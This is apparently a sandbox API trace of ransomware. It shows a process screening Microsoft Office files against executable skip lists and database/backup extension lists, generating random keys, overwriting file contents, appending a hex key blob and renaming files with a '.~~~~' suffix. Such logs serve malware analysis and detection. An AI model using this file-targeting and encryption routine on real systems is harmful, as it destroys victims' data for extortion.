	[0138.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".pif") returned 0x0
	[0138.693] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0138.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0138.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme24.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0138.706] lstrlenW (lpString=".sqb") returned 4
	[0138.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".sqb") returned 0x0
	[0138.706] lstrlenW (lpString=".ost") returned 4
	[0138.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".ost") returned 0x0
	[0138.706] lstrlenW (lpString=".txt") returned 4
	[0138.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".txt") returned 0x0
	[0138.706] lstrlenW (lpString=".mdt") returned 4
	[0138.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".mdt") returned 0x0
	[0138.706] lstrlenW (lpString=".BDB") returned 4
	[0138.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".BDB") returned 0x0
	[0138.706] lstrlenW (lpString=".eql") returned 4
	[0138.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".eql") returned 0x0
	[0138.706] lstrlenW (lpString=".DBF") returned 4
	[0138.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".DBF") returned 0x0
	[0138.706] lstrlenW (lpString=".EQL") returned 4
	[0138.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".EQL") returned 0x0
	[0138.706] lstrlenW (lpString=".FDB") returned 4
	[0138.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".FDB") returned 0x0
	[0138.707] lstrlenW (lpString=".EDB") returned 4
	[0138.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".EDB") returned 0x0
	[0138.707] lstrlenW (lpString=".DACPAC") returned 7
	[0138.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".DACPAC") returned 0x0
	[0138.707] lstrlenW (lpString=".VHD") returned 4
	[0138.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".VHD") returned 0x0
	[0138.707] lstrlenW (lpString=".DBV") returned 4
	[0138.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".DBV") returned 0x0
	[0138.707] lstrlenW (lpString=".dacpac") returned 7
	[0138.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".dacpac") returned 0x0
	[0138.707] lstrlenW (lpString=".sdf") returned 4
	[0138.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".sdf") returned 0x0
	[0138.707] lstrlenW (lpString=".accdb") returned 6
	[0138.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".accdb") returned 0x0
	[0138.707] lstrlenW (lpString=".DBX") returned 4
	[0138.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".DBX") returned 0x0
	[0138.707] lstrlenW (lpString=".MDT") returned 4
	[0138.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".MDT") returned 0x0
	[0138.707] lstrlenW (lpString=".SQB") returned 4
	[0138.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".SQB") returned 0x0
	[0138.708] lstrlenW (lpString=".vhd") returned 4
	[0138.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".vhd") returned 0x0
	[0138.708] lstrlenW (lpString=".bac") returned 4
	[0138.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".bac") returned 0x0
	[0138.708] lstrlenW (lpString=".mdf") returned 4
	[0138.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".mdf") returned 0x0
	[0138.709] lstrlenW (lpString=".BAK") returned 4
	[0138.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".BAK") returned 0x0
	[0138.709] lstrlenW (lpString=".BAC") returned 4
	[0138.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".BAC") returned 0x0
	[0138.709] lstrlenW (lpString=".dbs") returned 4
	[0138.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".dbs") returned 0x0
	[0138.709] lstrlenW (lpString=".vhdx") returned 5
	[0138.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".vhdx") returned 0x0
	[0138.709] lstrlenW (lpString=".NDF") returned 4
	[0138.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".NDF") returned 0x0
	[0138.709] lstrlenW (lpString=".dat") returned 4
	[0138.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".dat") returned 0x0
	[0138.709] lstrlenW (lpString=".DBS") returned 4
	[0138.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".DBS") returned 0x0
	[0138.709] lstrlenW (lpString=".CKP") returned 4
	[0138.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".CKP") returned 0x0
	[0138.709] lstrlenW (lpString=".edb") returned 4
	[0138.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".edb") returned 0x0
	[0138.709] lstrlenW (lpString=".PST") returned 4
	[0138.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".PST") returned 0x0
	[0138.710] lstrlenW (lpString=".dbf") returned 4
	[0138.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".dbf") returned 0x0
	[0138.710] lstrlenW (lpString=".SQL") returned 4
	[0138.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".SQL") returned 0x0
	[0138.710] lstrlenW (lpString=".pst") returned 4
	[0138.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".pst") returned 0x0
	[0138.710] lstrlenW (lpString=".dbv") returned 4
	[0138.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".dbv") returned 0x0
	[0138.710] lstrlenW (lpString=".SDF") returned 4
	[0138.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".SDF") returned 0x0
	[0138.710] lstrlenW (lpString=".dtxs") returned 5
	[0138.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".dtxs") returned 0x0
	[0138.710] lstrlenW (lpString=".db3") returned 4
	[0138.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".db3") returned 0x0
	[0138.710] lstrlenW (lpString=".OST") returned 4
	[0138.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".OST") returned 0x0
	[0138.710] lstrlenW (lpString=".dbx") returned 4
	[0138.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".dbx") returned 0x0
	[0138.710] lstrlenW (lpString=".DB3") returned 4
	[0138.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".DB3") returned 0x0
	[0138.711] lstrlenW (lpString=".DAT") returned 4
	[0138.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".DAT") returned 0x0
	[0138.711] lstrlenW (lpString=".VHDX") returned 5
	[0138.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".VHDX") returned 0x0
	[0138.711] lstrlenW (lpString=".ndf") returned 4
	[0138.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".ndf") returned 0x0
	[0138.711] lstrlenW (lpString=".DB") returned 3
	[0138.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".DB") returned 0x0
	[0138.711] lstrlenW (lpString=".sql") returned 4
	[0138.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".sql") returned 0x0
	[0138.711] lstrlenW (lpString=".MYD") returned 4
	[0138.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".MYD") returned 0x0
	[0138.711] lstrlenW (lpString=".DBT") returned 4
	[0138.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".DBT") returned 0x0
	[0138.711] lstrlenW (lpString=".ACCDB") returned 6
	[0138.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".ACCDB") returned 0x0
	[0138.711] lstrlenW (lpString=".fdb") returned 4
	[0138.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".fdb") returned 0x0
	[0138.711] lstrlenW (lpString=".bak") returned 4
	[0138.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".bak") returned 0x0
	[0138.712] lstrlenW (lpString=".myd") returned 4
	[0138.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".myd") returned 0x0
	[0138.712] lstrlenW (lpString=".DTXS") returned 5
	[0138.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".DTXS") returned 0x0
	[0138.712] lstrlenW (lpString=".ckp") returned 4
	[0138.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".ckp") returned 0x0
	[0138.712] lstrlenW (lpString=".dbt") returned 4
	[0138.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".dbt") returned 0x0
	[0138.712] lstrlenW (lpString=".db") returned 3
	[0138.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".db") returned 0x0
	[0138.712] lstrlenW (lpString=".TXT") returned 4
	[0138.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".TXT") returned 0x0
	[0138.712] lstrlenW (lpString=".MDF") returned 4
	[0138.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".MDF") returned 0x0
	[0138.712] lstrlenW (lpString=".bdb") returned 4
	[0138.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".bdb") returned 0x0
	[0138.712] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0138.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0138.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0138.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0138.713] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0138.714] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0138.714] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0138.714] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0138.714] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0138.714] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0138.714] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25870461976) returned 1
	[0138.715] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbc1ae030, dwHighDateTime=0x1d60e1e)) 
	[0138.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0138.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0138.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0138.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825cc0
	[0138.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0138.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825cc0 | out: hHeap=0x300000) returned 1
	[0138.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0138.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0138.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a628
	[0138.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0138.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0138.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a628 | out: hHeap=0x300000) returned 1
	[0138.716] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0138.716] GetLastError () returned 0x0
	[0138.716] GetLastError () returned 0x0
	[0138.716] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0138.717] GetLastError () returned 0x0
	[0138.718] GetLastError () returned 0x0
	[0138.718] ReadFile (in: hFile=0x108, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.722] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.722] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0138.723] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.723] WriteFile (in: hFile=0x108, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.723] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.724] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.724] CloseHandle (hObject=0x108) returned 1
	[0138.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x399cf8
	[0138.724] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme24.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME24.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme24.css.~~~~")) returned 1
	[0138.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399cf8 | out: hHeap=0x300000) returned 1
	[0138.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0138.727] GetLastError () returned 0x0
	[0138.728] RtlWakeConditionVariable () returned 0x0
	[0138.728] GetCurrentThreadId () returned 0xaf0
	[0138.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".scr") returned 0x0
	[0138.728] lstrlenW (lpString=".cmd") returned 4
	[0138.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".cmd") returned 0x0
	[0138.728] lstrlenW (lpString=".dll") returned 4
	[0138.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".dll") returned 0x0
	[0138.728] lstrlenW (lpString=".bat") returned 4
	[0138.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".bat") returned 0x0
	[0138.728] lstrlenW (lpString=".cpl") returned 4
	[0138.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".cpl") returned 0x0
	[0138.728] lstrlenW (lpString=".sys") returned 4
	[0138.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".sys") returned 0x0
	[0138.728] lstrlenW (lpString=".msc") returned 4
	[0138.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".msc") returned 0x0
	[0138.728] lstrlenW (lpString=".com") returned 4
	[0138.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".com") returned 0x0
	[0138.728] lstrlenW (lpString=".lnk") returned 4
	[0138.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".lnk") returned 0x0
	[0138.728] lstrlenW (lpString=".msp") returned 4
	[0138.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".msp") returned 0x0
	[0138.729] lstrlenW (lpString=".pif") returned 4
	[0138.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".pif") returned 0x0
	[0138.729] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0138.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0138.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme25.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0138.731] lstrlenW (lpString=".sqb") returned 4
	[0138.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".sqb") returned 0x0
	[0138.731] lstrlenW (lpString=".ost") returned 4
	[0138.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".ost") returned 0x0
	[0138.731] lstrlenW (lpString=".txt") returned 4
	[0138.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".txt") returned 0x0
	[0138.731] lstrlenW (lpString=".mdt") returned 4
	[0138.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".mdt") returned 0x0
	[0138.731] lstrlenW (lpString=".BDB") returned 4
	[0138.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".BDB") returned 0x0
	[0138.731] lstrlenW (lpString=".eql") returned 4
	[0138.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".eql") returned 0x0
	[0138.731] lstrlenW (lpString=".DBF") returned 4
	[0138.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".DBF") returned 0x0
	[0138.731] lstrlenW (lpString=".EQL") returned 4
	[0138.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".EQL") returned 0x0
	[0138.731] lstrlenW (lpString=".FDB") returned 4
	[0138.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".FDB") returned 0x0
	[0138.731] lstrlenW (lpString=".EDB") returned 4
	[0138.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".EDB") returned 0x0
	[0138.732] lstrlenW (lpString=".DACPAC") returned 7
	[0138.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".DACPAC") returned 0x0
	[0138.732] lstrlenW (lpString=".VHD") returned 4
	[0138.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".VHD") returned 0x0
	[0138.732] lstrlenW (lpString=".DBV") returned 4
	[0138.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".DBV") returned 0x0
	[0138.732] lstrlenW (lpString=".dacpac") returned 7
	[0138.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".dacpac") returned 0x0
	[0138.732] lstrlenW (lpString=".sdf") returned 4
	[0138.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".sdf") returned 0x0
	[0138.732] lstrlenW (lpString=".accdb") returned 6
	[0138.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".accdb") returned 0x0
	[0138.732] lstrlenW (lpString=".DBX") returned 4
	[0138.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", lpSrch=".DBX") returned 0x0
